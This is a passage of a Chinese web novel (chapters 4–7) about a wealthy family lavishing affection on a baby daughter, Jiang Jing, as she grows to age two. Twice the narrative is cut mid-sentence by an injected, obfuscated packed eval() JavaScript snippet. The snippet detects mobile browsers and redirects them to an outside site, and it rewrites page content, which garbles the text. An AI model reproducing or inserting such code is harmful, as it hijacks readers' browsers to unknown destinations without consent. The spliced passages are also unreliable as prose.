“四叔四婶,这是我在学校门口给你们买的一点苹果,我今天能在你们家吃饭吗?顺便看看妹妹。” 程与英接过那袋苹果,揽着蒋向恒往餐厅走,笑道:“哟,这么客气呢小帅哥?四婶谢谢你,但是以后可不用买了。你和你爸一年也就两三次回祖宅时能见见,这下你和怀谦一起上学,倒是有了由头,以后可以多来四婶家玩,晓得吗?” “晓得的,四婶。”蒋向恒应声答道。 蒋向恒自小跟着父亲蒋焰在军区大院里生活,其父工作繁忙,鲜少归家,只安排了一个保姆和管家兼司机照顾儿子的饮食起居。 奶奶宋玉春三番五次想要把蒋向恒接到主宅抚养,蒋焰没有意见,反倒是蒋向恒他自个不乐意,说来说去不听劝,宋玉春当他是个不黏亲的孩子,只好作罢。 吃完晚饭,又按时回书房把作业写完了,蒋怀谦和蒋向恒才获许去和妹妹玩。 蒋源把闺女从卧房里抱出来,带到客厅给两个小孩亲近。 小婴儿躺在柔软的襁褓里,小手握成小小的拳头,时而无意识地挥舞几下,嘴里咿咿呀呀发出些软软的哼唧声。 蒋源握住女儿还有着下陷的小肉窝的手,亲昵地晃了晃,哄道:“睡饱了,也喝饱了,这么有精神呢,婧儿宝宝?来,今天有一个哥哥来看你,爸爸带你认识一下。” 蒋向恒凑过来,屏住了呼吸看她。 小婴儿的脸庞光滑细嫩,鼻梁小小的,鼻尖俏丽微翘,一双眼睛像玻璃珠似的,圆溜溜的,那瞳孔是极深的墨色,却又清澈得不可思议,此刻看向他,他不由得起了亲近之意。 “四叔,妹妹好漂亮,是我见过最漂亮的宝宝!虽然我也只见过她这一个宝宝。” 蒋源被逗笑,不无骄傲地说道:“等妹妹长大了,会更漂亮的!” “肯定的,她叫什么名字?” “蒋婧。” “哪个jing?” “女字旁,加一个青色的青。” 蒋向恒皱起眉头,说道:“我不认识这个字,等我回家用字典查查。” “四叔,我能不能抱抱妹妹?” “可以。”蒋源把闺女放到他怀里,嘱托道:“抱稳了,要是抱不动就及时和四叔说。” “四叔,你小瞧我了,我可是天天在家做运动的,我还拿过我爸的哑铃练呢,绝对能抱得动妹妹!” 这样说着,蒋向恒还是集中注意力,小心地托住小小的人。 一股甜香的奶味窜进鼻腔,蒋向恒忍不住抱着她晃了晃,说道:“小婧妹妹,你好香,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189322|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可爱啊。” 蒋怀谦虽然年纪小,但是想要照顾妹妹的愿望很强烈,早早通过观察大人们的行为就把照顾妹妹的那一套流程学的丝毫不差。 上手了几次,蒋源见他确实细心周致,也就放心允了他给蒋婧冲奶粉、换尿不湿、抱着哄她开心。 这会子已经提前冲好了奶粉过来,在蒋婧想要喝奶的时候,熟练地递过来,举着奶瓶喂她。 触碰到柔软奶嘴的瞬间,小婴儿那双大得惊人的眼睛猛地亮了一下,粉嫩的腮帮子一鼓一缩地开始吮吸起来。 蒋向恒看得津津有味,愈发觉得这婴儿妹妹可爱极了,羡慕地说道:“有一个妹妹真好,我也想这样照顾小娃娃。” 蒋怀谦扬起嘴角,被这话说的心里头舒坦,说道:“我也这样觉得,有一个妹妹很好。” 蒋源在沙发另一边,一边看着财经新闻,一边守着两个好奇地围着小婴儿的小家伙,不忘叮嘱道:“怀谦,小心别喂太急,呛到妹妹。” “知道的,干爸。” -“妹妹一直盯着我看,是不是已经认识我了?” -“她还小,还不认识人呢。” -“哎你让我试试。” -“不能现在换人,她还在喝。” -“好吧,那下次让我举着奶瓶可以吗?” -“....行吧,等下次再说。” 蒋向恒小脑子一转,扬声期待地对蒋源说道:“四叔,我能不能借住在你家啊?我爸好几个月都不回家的,我一个人在家害怕。但我又不想去爷爷奶奶家,那离我学校太远了。” “我可以自己照顾自己,只要你给我一张床就行。四叔你们家这么大,应该可以收留我吧?” “行不行啊,四叔?求求你了,我很听话的。” 蒋怀谦一脸迷惑地盯着他,沉沉说道:“你不是说你一个人住从来不害怕……” 啪叽一下,蒋向恒捂住了他的嘴,继续对端着水果走过来的程与英又诚恳地说了一遍。 毕竟在这个家,四婶话语权最大。 果不其然,四婶完全不觉得这是个什么大事,还有些高兴地说道:“这有什么不可以的!你和怀谦关系好,四婶也替你们高兴!” “那你今天晚上先和怀谦挤挤,等明天我叫人给你收拾一件房出来,以后你就把这当你自己家。” “谢谢四叔!谢谢四婶!” 虽说两人同龄,也挺能玩到一起,但多了一个人和自己抢照顾妹妹的时间,蒋怀谦还是不太乐意的。 本来他每天能和妹妹亲近的时间,就只有下午放学回来后的几个小时。蒋向恒住下后,原本他和妹妹的二人空间,被迫变成了三人空间。蒋向恒又是性格活泼好话的,抱着蒋婧一个劲地说话哄笑,实在是让人看不下去。 蒋向恒察觉到他的情绪,只是乐呵呵地说道:“你别不开心怀谦,我们是最好的兄弟,等妹妹以后长大了,我们三个人就是最好的玩伴!我一定会让你们玩的非常开心的。” 说道这,蒋向恒低头蹭了蹭蒋婧的鼻头,温柔地说道:“小婧妹妹,你要快快长大,让哥哥带你出去玩很多很多好玩的!” 5. 第5章 程与英回到秋水庄园中静养了一段时间后,迎来了蒋婧的满月礼。 念着孩子还小,不便过分被打扰,满月礼便是家里人自己庆贺,百日礼的时候,再大肆操办,宴请各方亲朋好友。 蒋家祖宅之地,深藏于京城腹地。现在的建筑群落是当家人重金延请古建大家,悉心揣摩古典气韵,又依据现代居住需求重新改建。几百年的家族底蕴留存到如今,仍然大气恢宏。 大宅的正房餐厅,灯火辉煌,一张硕大的紫檀木圆桌稳踞其上,围桌而设的二十余张高背官帽椅,同样以紫檀木制成,靠背精心雕出云纹如意,座椅上铺着锦缎软垫。 此时满月宴席的桌面已铺陈开来,摆放着丰富的繁复吉祥、精心制作的糕点和菜肴。 蒋源和程与英夫妇俩相携推着婴儿车刚到,蒋礼雄就迫不及待地从主位上起身过来,走过来抱起正躺在其中的孙女。 “哎哟喂,我的心肝宝贝,可想死爷爷了!小丫头今天有没有乖乖?” 蒋婧穿着簇新的正红色织金小袄,一张小脸粉嫩,乌溜溜的眼睛好奇地打量着这满室辉煌与一张张含笑注视她的脸庞,咿咿呀呀地发出声音。 蒋礼雄红光满面,喜气洋洋,晃着孙女逗她开心,然后招手让人把给孙女准备的礼物递上来。 檀木盒子里,放着一枚沉甸甸、金镶玉的长命锁,锁上细细累丝缠绕出“福寿绵长”四字。 蒋礼雄把长命锁仔细拿出来,又小心地挂到孙女脖颈上,忍不住亲了一口奶团子似的孙女,大笑道:“吾家明珠,初满月轮。今日满月之喜,愿吾孙女儿:慧质兰心,福泽绵延,一生顺遂,岁岁安康!” 家人们皆是喜笑颜开,应声庆乐。 蒋源和程与英相视一笑,把婴儿车交给了一边的女佣人收好,谢了父亲后,落座。 “爸,给我看看我这小侄女。”坐在蒋礼雄身边的蒋铮说道。 蒋婧的父亲蒋源在家排行老四,往上数去,一共有3个伯父。 大伯父蒋铮是蒋氏集团如今的掌权人,明明是个在商场上行事凌厉、杀伐果断的大资本家,气质却异常的儒雅温润。 蒋礼雄把怀里的婴儿递过去:“仔细点抱。” 这小丫头似是天性善静,不似其他婴孩那般会无厘头地哭叫。这会子被生人抱了,也不怕不哭,睁着一双明亮的大圆眼,带着懵懂的好奇,宁静地注视着他。 蒋铮也安静地回看她。 不多时,小丫头被盯久了,蓦地朝他咧嘴一笑,原本就颇甜的长相这下更加讨喜。 蒋铮一下子被击中了,感叹道:“这孩子有灵气啊!忒乖巧了!” 蒋铮的妻子从蓉拿出一个表面镶出婴戏图的紫檀百宝嵌首饰盒打开,内衬软缎上卧着一串 “翡翠十八子提珠”,颗颗饱满莹润,色如春水,荧光流转。 “小婧,大伯和大伯母送你一串翡翠提珠,护佑你以后智慧通达、福泽深厚。” 之后,二伯父送了一块顶级羊脂白玉雕刻的“平安扣”。 二伯父唤作蒋焰,一身戎装,少将军衔,是北城军区副司令员,是一个威武雄壮的男人,仅仅是站在一隅,也有不怒自威的气势。 偏生被大哥蒋铮邀请抱抱蒋婧的时候,这一阳刚气壮的男人面上却显出些许无措与慌忙。奶娃娃小小一个,抱在怀里软绵绵的,他生怕把孩子哪弄得不舒服,动作很轻。 蒋焰用指背轻轻蹭了蹭小女娃吹弹可破的脸颊肉,小女娃倒也不怕生,伸着小手掌去抓他的手指。 蒋焰弯了唇,心情大悦,将定制的平安扣给她戴上后,当即又包了个大红包给她。 三房夫妇送了一份信托基金设立文件,这一基金由三伯父蒋彬设立并管理,本金雄厚,投资策略稳健进取,明确约定其收益专门服务于蒋婧这一人。 蒋源和程与英皆是替闺女谢过。 蒋婧有些困觉,便被蒋源抱了放到偏房去休息。家宴开席,大人们都交相言谈起来。蒋熠随便扒拉了几口饭就偷溜着想离席,蒋彬把人提溜着叫回来,问他去干嘛,他说想去看妹妹。 “又想被打手心?吃完饭离席要干什么?” 蒋熠看了眼同胞哥哥,蒋澈福至心灵地也起身过来,两个长相难以用肉眼看出区别的双胞胎兄弟乖乖巧巧地站在爷爷奶奶面前,齐声说道:“爷爷奶奶我们吃饱了,你们慢慢吃!” “各位伯伯婶婶你们慢慢吃!” 宋玉春好笑地看着两个孙儿,询问:“就吃了这么一会儿,不再多吃点?” “奶奶,我下午吃了好多零食,我一点也不饿,我就想去看看妹妹。” “行,那你们去吧。妹妹要是还睡着,就只准看,不准上手吵她,知道吗?” 蒋澈和蒋熠双双点头,得到允许后立马活蹦乱跳着离开。 隔绝了餐厅声响的厢房里,年轻的女佣正守着蒋婧,面带着被萌化的表情盯着她看。 见两个小少爷进来,女佣知晓来意后,就陪着他们一起看小婴儿。 两兄弟围在婴儿摇篮里,一个摸摸她的手,一个亲亲她的脸,爱不释手。 “哥哥,她的手好小。” “小婴儿就是这样小的。” “她好像认识我们,她在盯着我们看。” “嗯。”蒋澈望着她,轻轻亲了一口她小嘴。 蒋熠见哥哥亲了,也窜下来,狠狠亲了几下蒋婧的嘴。 “妹妹,我特别特别喜欢你。”他凑近她的耳边轻轻说道。 女佣见了,忍不住又气又笑:“干什么呢你们!” “我见怀谦哥哥也常常这样亲妹妹。”蒋澈答道。 “两位小少爷,这可不兴的,小小姐是女宝宝,不可以亲嘴的。” “我才不信,我看电视上说了,亲嘴就是表示喜欢!”蒋熠还想去亲,被女佣制止住了。 “熠少爷,小心把小小姐弄哭了,你别这样!” “好吧,那我抱抱她总行了吧?” 女佣望着身形矮小的蒋熠,忍不住笑道:“熠少爷,你也还是个2岁的孩子,小孩子哪能抱得动小孩子呢!” “我和弟弟一起抱,就能抱得动了。”站在一边的蒋澈及时说道。 两个人再三要求,女佣还是坚决不允许:“你们要再这样蛮不讲理,我可要去告诉大人了。” 两个小男生于是歇了声音,继续趴在一边盯着蒋婧看。 * 小丫头和爸爸妈妈一起睡了三个月,就因为夫妻之间的亲昵,偶尔会被托给蒋怀谦夜里带。 “小谦,爸爸妈妈有公事要商讨,你帮忙照顾一下妹妹,等爸爸妈妈忙完了,再过来接妹妹。” 蒋怀谦自然是求之不得:“没事,你们忙,我来哄妹妹睡觉。” “隔两个小时再喂一次奶,就哄她睡觉哈。” “我知道的,干爸。” 好在小孩子也不懂这些事情,否则蒋源也拉不下脸这样说。他看了眼目光清澈的怀谦,尴尬地轻咳了一声,拍拍他的头,转身回了二楼主卧。 不管了,忍了这么久,必须得和香香老婆亲热了! 对于蒋怀谦来说,晚上抱着一个小糯米团子睡觉,是一件尤为愉快的事情。 他喜欢闻妹妹身上淡淡的奶香味,喜欢她咯吱咯吱的笑声,喜欢她无声地望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189323|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己时似是含有笑意的依恋。 小婴儿是一个月一个样,越长越水灵。一双明澈晶莹的眼睛看人的时候,能把人看的心软趴趴的。 蒋怀谦不厌其烦地同她说话,给她喂奶、梳洗,陪她玩闹。 自从满月宴,蒋向恒偷偷让程与英和自己爸爸说清楚后,他便直接在四叔这安家了。 原本他爹是严词不允许的,就怕他给四叔添乱。不过好在四婶愿意保他,说是他留下来能和蒋怀谦做个伴,他爹才松了口。 见蒋婧被留给蒋怀谦带了,蒋向恒从自己房间溜出来,进了隔壁房间,和两个人一起睡。 蒋怀谦说道:“向恒,我的床太小了,只能睡两个人。” “这么大的床你跟我说小!”蒋向恒一点不客气地跳上床,抱起蒋婧逗她玩。 “早些我看四叔就是这样带妹妹的,说要让她翻身抬头,这样对发育好,是不是这样?” 蒋怀谦担心他动作太大,连忙过来盯着。 “你动作轻点。” “我当然知道!” 蒋向恒托着她轻轻翻了个身,又把她抱起来兜着晃了晃,小婴儿就发出了银铃一般的笑声。 “喏,你瞧,小婧可喜欢这样玩了!”蒋向恒欢喜地说道。 蒋怀谦见妹妹笑,也忍不住弯了唇角,去亲亲她:“好乖嘛。” 夜里,两个人一左一右围着中间的妹妹,睡得安稳。 蒋源完事后静悄悄地进来,见到这副画面无声地扯了扯唇,然后把蒋婧抱起来顺走,带到主卧去睡。 回到卧室他笑道:“这俩小子还挺会带娃的。” 程与英接过睡着的女儿,怜爱地亲亲:“都怪咱崽子太可爱了,这一来二去的,总有人来争着照顾。” 自从蒋婧出生,蒋礼雄和宋玉春隔三差五都来看儿媳和孙女,兄弟妯娌也是常来常往,没个停歇。 每周一次的家宴上更是,蒋婧是被这个抱了,又被那个抱,几乎没有被放下的时候。 说来也怪,这小丫头性格尤为乖巧,鲜少哭闹,吃奶是安静的,发呆是安静的,被人抱着哄着也是安静地看、安静地笑。 虽然是刚出生没几个月,但那眉眼和五官却能看得出是个漂亮的美人坯子。 尤其是那双又大又清澈明亮的圆眼睛,像两枚浸在水中的乌黑玛瑙,那望过来时懵懂而专注的眼神,带着初来乍到的惊奇,水汪汪、亮晶晶地打量着周遭,直教人把心都看化了。 全家上下基本是无人避免,完全被她俘虏。 每个人都在对蒋婧的养娃计划提出意见建议,甚至动不动就是一堆东西买到家里,搞的程与英是头大。 “我就觉得,我这个当妈妈的,好像都没出什么力,照顾女儿的活全被你们干了。婴儿用品有大嫂严选,大哥天天寻思着怎么给婧儿做早教,三哥三嫂全世界地给她搜刮玩具,还有爸妈,每天上门来带娃,我都怕婧儿不和我亲了。” 蒋源好笑地听着她碎碎念,安抚地亲亲她的额头,宽慰道:“你生婧儿不容易,她出生了,我们多帮忙照顾是应该的。你们母女连心,再如何都是最亲的,婧儿哪能不和你亲呢?” 程与英这才稍稍转晴,温柔地抱住睡相无忧的小宝宝,说道:“当然了,这个世界上我最爱的人就是我们小婧儿啦,必须和我最亲。” “那我呢?” “你排第二。” 蒋源无奈地笑,倒是很有自知之明:“不过这点我没意见,不吃闺女的醋。” 他抱住女儿和妻子躺下,只觉得现在的生活实在太幸福了。 “你和婧儿,在我这里,都是第一。” 6. 第6章 转眼几个月过去,某天周末,蒋怀谦陪着蒋婧在软垫上玩闹,小丫头非要往他身上爬。 蒋怀谦笑着,却又担心她摔到,哄道:“宝宝乖,哥哥抱你好不好,不爬,会摔。” “咯咯…抱…” 还有些黏糊不清的发音,却能明晰听出含义。 蒋怀谦被定住一般愣在原地,下一秒欣喜若狂地把人抱到自己身前。 “宝宝刚刚叫了哥哥是不是?再叫一声好不好?哥哥!哥!哥!” 蒋婧眯着眼睛笑,咿咿呀呀地跟着学:“哥!哥!” 蒋怀谦眼眸一弯,顿生波光粼粼。 蒋婧率先叫出哥哥的消息传开后,让蒋源醋得抱着闺女念了几个小时,把人哄得会说了“爸爸”。 程与英满意地抱了抱女儿,亲亲她的脸颊肉,说到:“我们婧儿才6个月就能喊爸爸妈妈和哥哥了呢,是最聪明的宝宝,是不是呀?” 蒋婧被她蹭得咯吱咯吱笑,可爱的笑容融得程与英又抵挡不住地亲了她一大口。 又过了几个月,蒋婧的语言能力又进步了些,已经能说出一些简单的语句。分得清众多的堂哥后,能够对着其他的堂兄们唤哥哥了,蒋怀谦心里很不舒服。 他在夜里睡前煞有其事地教蒋婧道:“以后叫其他哥哥,都要带名字,只有叫我,才能叫‘哥哥’,知道吗?” 蒋婧打了个哈欠,困眼婆娑地看着他,不明所以,但乖巧地点点头,抱住蒋怀谦的胳膊肘蹭了蹭,奶呼呼地喊:“咯..咯!” * 蒋婧一点点地长大,越发出落得软糯可爱。 1岁的阶段是蒋婧作为幼崽的高萌期。程与英没给闺女剃胎发,由着她的头发自然生长,1岁的时候刚好齐下巴。 她走路还有些不稳,却活泼好动。圆圆的脸蛋,大而明亮的眼睛,搭配程与英让造型师剪的齐刘海,像个活脱脱的精致的小洋娃娃。 程与英早就已经重新回到了工作当中。工作日的时候,蒋源和程与英各去各的公司,蒋怀谦和蒋向恒去上学,蒋婧便会被二老接到主宅,晚上再把她送回来。 蒋礼雄和宋玉春是搜罗了个遍小孩子喜欢的玩具,又是做秋千,又是建滑梯,又是搞海绵球海,活生生在蒋宅弄了个幼儿游乐场。 每周天都是家宴日,蒋礼雄都会要求孙辈们来到蒋宅,在书堂里练一早上的书法。 练90分钟后,休息半小时,再练90分钟,之后再和孙子们共用午餐。 晚饭则是大人们也一起来,这是雷打不动的规矩。 往日里斯承和斐轩都是司机送来的,但是今天蒋铮也跟着来了。 蒋礼雄正牵着蒋婧在院子里散步,小丫头像个小企鹅似的,每一个抬腿都要晃悠一下,被爷爷提溜住,才能稳稳踏下。 她咿咿呀呀地喊着“爷爷”,走一步被夸一下,就抬头笑嘻嘻地望着他,直把蒋礼雄看的心花怒放。 蒋铮迈步进来看到这幅憨态可掬的画面,爽朗地笑了笑:“小婧宝宝,瞧着走路又稳了些!” 他在蒋婧面前蹲下,伸出手臂抱住她,把她举高掂量了几下。小丫头就喜欢被举高高,笑容灿烂,欢笑声悦耳又治愈。 蒋铮心下是喜欢这小侄女喜欢得不行,哄道:“乖乖,唤声大伯来听听!” 几番被诱导着,蒋婧跟着发出“大伯”的声音。奶声奶气的呼唤,带着糯糯的尾音,像羽毛轻轻搔过心尖。 蒋铮低低地笑出声,胸腔传来愉悦的震动:“哎!大伯听到了,再叫一声好不好?” 那是一种连对他两个亲生儿子都未曾有过的、带着明显宠溺的腔调。 身后的蒋斯承略有些震惊地看着父亲的这幅面容,一时忿忿。他总是对他的儿子们严厉如霜,却为何对一个侄女这样温和。 蒋礼雄察觉到两个孙子的失落,招招两个孩子,询问他们这一周的功课和生活。 蒋斯承和蒋斐轩一大一小,一个12岁,一个7岁。 一个像了父亲,长相硬朗,眉骨已显出几分陡峭,鼻梁高直,一张薄而线条分明的唇习惯性地轻微抿着,一双丹凤眼微微上扬,看人时目光沉静、稳定,带着一种超越年龄的审视与穿透力。 一个像了母亲,长相精致,一双标准且极致的桃花眼,眼型大而圆润,举止间有种天生的、不刻意的优雅,天真无邪的气质里又时而可以看出一层迷离忧郁。 “回祖父,这周的主课程都往前学习了一个单元,外语学习除了德语有些进步缓慢,其他都能流畅运用,我会继续督促自己。父亲安排的金融、管理和国学方面的书籍,我也已经阅读完毕,昨日抽查了《通鉴》策论及金融模型推演,已按批注修正。本周课业强度,尚在计划承受范围之内,没有延误。” 祖父的目光在他脸上停留片刻,点点头:“不错,继续精进。” 他的视线转向蒋斐轩。蒋斐轩慢吞吞地抬起头,语气里泄露出一丝极细微的紧绷:“回祖父,我这周在练肖邦练习曲Op.10 No.1,晚课老师带我听辨和弦和音程,然后复习乐理。在学校的课业也都认真完成了。” “嗯,不错。既然选择了要学钢琴,就得持之以恒,学出点样子来。” “斐轩知道了。”他小声嘟囔,下意识地蜷了蜷手指。 “行了,那你俩小子先去蒙养轩开笔练字,我等会过来给你们指导。” 两个小人向祖父和父亲告别后,并肩离开。离开前,蒋斯承余光里又扫了眼蒋铮蹲下来陪着蒋婧在草地上捡树叶的画面,他一向方正威严的脸庞上此刻连眼角都是温柔的笑意,满心满眼地看着怀里的人。 蒋礼雄收回视线,才看向一边的儿子:“今天怎么这么早就过来了?” “来看看小婧,这一周也就这么一天有时间,得多和我们小婧玩一玩,你说是不是?小婧,你喜欢大伯陪你玩吗?” 蒋婧早被这个温和耐心的长辈虏获,乖乖地环住他的脖子,软软地说道:“喜欢,喜欢大伯。” 蒋铮心满意足地亲亲她粉嫩的脸颊,不由得也被小女孩的声音感染,轻微地夹了起来:“那大伯陪你去玩秋千好不好?” “好!”她拍手应好。 蒋礼雄哼了一声,看透地笑了笑,虚空点点儿子说道:“我看你,就是想趁我给那些臭小子上课的时候,单独带着婧丫头玩!” * 晚上的家宴一贯做的丰盛。蒋婧挨着爷爷奶奶坐在两个主位中间的儿童椅上,眨着双大眼睛盯着桌子上的菜肴看,伸出手掌抓了抓,求助似的看向正在蒋礼雄。 宋玉春喂了口蒋婧虾滑蒸蛋,说道:“小宝,不喜欢吃自己的饭饭吗?” 蒋婧仍处于牙齿生长期,脾胃也在发育,家里的厨师都是单独给她换着花样地做儿童餐,兼顾营养的同时,还要菜相可爱,能吸引宝宝。 蒋婧只是一边乖乖吃了奶奶喂上来的菜,一边盯着桌上旋转着的菜肴,哼哼唧唧的。 蒋礼雄看着孙女是 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“那可别说,还真是!这小女娃还是养起来不一样,光是看着就让人柔情蜜意的。”蒋铮说道。 蒋彬:“我觉得吧,要不咱分日子带小婧。周一周二在我老三家,周二周四让爸妈带,周五就放大哥家。” 蒋铮略微不满:“凭什么我就只得一天?” “大哥你忙,事多,哪顾得上我侄女。” “别说这些,你就如何不忙?” 望着两个兄长这样喜欢自家闺女,蒋源笑道:“大哥,三哥,可别这样,现在连我这个当爹的都感觉带娃带不够,哪能再分给你们一点时间。” “这话就不好听了。你的闺女不也是我们的闺女,那肯定也得给我们一点和她相处的时间吧?”蒋彬用酒杯底碰了碰桌子,不赞同地说道。 “得了得了,这有什么好争论的。婧丫头就在主宅养着,我和你们妈妈领着。一个二个白日里都有事要忙,晚上你们谁想看就过来看。”蒋礼雄发话了,语调平稳,却自然地带了一股威严。 想要在今天把蒋婧带回家的蒋源心下一梗,面露无奈地说道:“爸,您都带了婧儿快半年了,也该让她回家呆着了吧?” “是啊爸,白日里大不了我就带着婧儿一起去工作室,这样每天让她来回跑的,孩子也难受不是?”程与英搭话道。 “在主宅就不是在家了?既然担心婧丫每天坐车不适应,不如就干脆让她在这住下。” “爸!这怎么能行!”程与英情绪上来了,眼里微微闪有泪光,又说道:“爸,你体谅体谅我吧,我是真想每天都见到我闺女,这一直被您们带着,婧儿都和我这个妈妈不黏了。” 听到儿媳委屈的控诉,蒋礼雄顿了片刻,却还是没有松口。 不知是不是母女连心,看着妈妈面露伤心,原本捧着颗大草莓吃的满脸尽是红色果汁的蒋婧,这下呆滞了,然后好一会儿,葡萄似的大眼睛里就蓄满了泪水,开始呜咽着喊妈妈。 程与英连忙擦干眼角的泪水,推开抱着自己安慰的蒋源,走过来抱她。 蒋婧搂着妈妈的脖子,细细弱弱地哭:“妈妈不哭……” 程与英喜极而泣,只觉得被女儿感化了。 蒋礼雄看了眼抱着妈妈哭的孙女,忍不住叹了口气。 “行吧行吧,此后就不用让婧丫每天来主宅了,跟着家宴日带来就行。” 7. 第7章 程与英的个人工作室建在一个文化园区的四层馆栋中,一层作为展览接待区,二层、三层是团队工作区,四层则是她一人的设计工作空间。 原以为把两岁的女儿带来工作室会比较费心力,但令人惊讶的是蒋婧是一个尤其好带的孩子,把她放在特意给她布置的儿童游戏区里,就能一个人乖乖地玩很久。 程与英在桌位上浏览完毕助理发来的工作事宜,走过去抱起小小一只蹲在黑板墙面前画画的女儿狠狠亲了一口,尝试地问道:“婧儿,妈妈现在要下去开会,你能和这个姐姐一起玩一下吗?妈妈马上就回来。” 蒋婧看到不认识的人立马就开始拒绝:“不要,我要和你一起走!” “妈妈等会儿就回来的。” 话一说完,下一秒怀里的崽子就开始委屈地嚎哭,却是光打雷不下雨。 程与英好笑地捏捏她挺圆的小鼻头:“那你和妈妈一起去开会去不去?” 小奶团子又摇摇头,吧唧着一张嘴不高兴地看着她。 “那婧儿宝宝要怎么办?” “要妈妈在这里。”她奶声奶气地说道,最后还给了程与英一个甜甜的笑容试图撒娇。 “哎哟,这么乖。你陪妈妈去开会好不好?妈妈太想你了,一时一刻都离不了宝宝的。” “我也离不了妈妈的。”她学着程与英的话一本正经地说道,看向她的眼里尽是依赖。 程与英怜爱得不行,抱起女儿起身往外走:“那我们就一起过去。” 装修颇具艺术感的过道里,助理苏素走在一边感叹道:“英姐,你女儿才两岁就口齿这么清楚?我家小侄子这个年纪说话都听不懂的。” “哈哈是吗?每个孩子发育速度不一样嘛,你家小侄子后面肯定也能说会道。至于我们家这小丫头是有些聪明伶俐的,是不是呀?你和这个姐姐说,谢谢姐姐夸我~” 蒋婧原本就趴在妈妈肩膀上眼睛亮晶晶地悄悄地盯着这个陌生人看,这会被吆着去和人打招呼,立马如临大敌似的,逃避地把头埋进妈妈肩膀,瓮声瓮气地说道:“我不要,我又没有想被夸!” “啊好可爱!”苏素被萌倒,脸上姨母笑,说道:“是姐姐我想夸你,你太可爱了!” 程与英也笑意难掩,安抚地摸了摸女儿的背,说道:“小朋友会说话了之后可好玩了。” 具有设计感的丝绒红主调的会议室里,中层们正氛围轻松地聊着时尚圈内的八卦。 程与英抱着蒋婧进来的时候,引起了众人的惊叹和欢呼声。 自从有了女儿,程与英每天最大的乐趣又多了一个:给蒋婧悉心打扮。 今天给她穿了条水手服连衣裙,头发用红樱桃样式的发绳扎成两个辫子。圆头圆脑、圆脸圆眼的,活像是卡通里的动漫小人似的。 -宝石生产采购部经理James:“哇!老大你今天居然带娃上班了!这就是只能在朋友圈见到的天使宝宝吗?” -市场营销经理Lavanda:“我的妈妈咪呀!这是谁家的小公主呀,这么漂亮!快来给姨姨抱抱!” -视觉创意经理Peter:“太拉风了英姐,你这抱个漂亮娃完全是时尚辣妈啊!” -公关部经理Nora:“基因还是太强大了,大美女的女儿也是从小就颜值绝美啊。” -财务会计部经理Tina:“太可爱了宝宝,你叫什么名字呀~” 七嘴八舌的,吵得程与英拍了拍桌子:“得了得了,安静点,小心吓到我乖乖闺女。” 果不其然,鲜少见生人的蒋婧此刻搂着妈妈脖子,紧紧贴住她,这么小就漂亮得有些过分的脸蛋上是将哭未哭的可怜样儿,像是因为害怕而不敢大声哭泣似的,又大又圆的眼睛里溢满了晶莹的泪珠,看的人很难不动容。 “妈妈,我想回去...”她弱弱地说道。 “没事宝贝,妈妈在呢。他们都是妈妈的好朋友,妈妈的好朋友是不是就是婧儿的好朋友。” 蒋婧悄悄地盯着一堆人,默然了片刻,带着哭腔软软地答:“是....” 底下的人瞅着那怕兮兮的小奶团子,都笑意难挡,又默契地屏息闭嘴,担心吓到她。 程与英看来好笑,把女儿放在一边的高椅上,早有准备地拿出一本线稿和一套彩铅笔,告诉她可以在这里画画。 蒋婧乖巧地点点头,看了一眼其他人,朝程与英招招小小的手:“妈妈,你过来。” 程与英凑过来,蒋婧小手捂着在妈妈耳边说悄悄话:“妈妈,我爱你,我不和陌生人说话。” 她倏忽就柔软了神情,也装作说悄悄话的样子凑近蒋婧的耳朵说道:“妈妈也爱你,婧儿最乖啦是不是?你好好在这里画画,不怕好不好?” “嗯!”蒋婧重重一点头,拿起彩铅笔认真地涂着线稿。 程与英虽然分管了娘家集团的服饰线,但也仅仅是做发展管理和审美把控,她自己的作品设计是另外的独立品牌。 作为炙手可热的独立珠宝设计师,每一年度都会收到许多品牌的联名设计邀约,因而即使是自家的品牌来请求合作,也同样需要排队。 一年一度的时尚秀又要开始准备,程与英今年答应了给法国一顶奢品牌作春夏设计,今天会议的主要任务就是定稿。 James:“你这一次的设计很有童真的感觉啊,这些小鱼小虾的,还挺可爱。” 程与英打了个响指:“对头,这次的灵感就是来源于我闺女。或者说,就是想着我闺女设计的。” Nora:“我觉得不错哎,这母女情还挺打动人的。” 蒋婧听到妈妈的话,抬起头,观察了一下其他人,偷偷拉拉妈妈的手,小声说道:“妈妈,我怎么啦?” Peter一拍脑袋,声音有些尖地说道:“啊我不行了,她真的好可爱!” 程与英摸摸她的小下巴,耐心地解释道:“妈妈以你为灵感画了很多亮晶晶的小石头。” “什么是灵感?” “灵感就是你画画的时候,想出画什么东西的小想法。” 蒋婧似懂非懂地点点头,眼里仿佛有星星地仰头看着她:“妈妈你好厉害~我都很喜欢你的灵感!” James:“不得了啊这娃,能说会道的。” Peter:“救命啊,能不能给我养几天啊英姐!怎么能这么可爱!” Tina:“简直人间理想女儿了。” Lavanda:“英子,你闺女真的好乖啊,纯纯小棉袄,这情绪价值给的。” 程与英骄傲地亲亲蒋婧,说道:“妈妈的朋友们都在夸你乖呢,你继续自己乖乖画画好不好。” 蒋婧点头,放松了一些,朝众人腼腆地笑笑。 众人表面:克制地面带微笑 众人内心os:啊啊啊啊啊啊啊好可爱好想rua!!! * 结束了今天的工作后,晚上是蒋源来接的两母女。 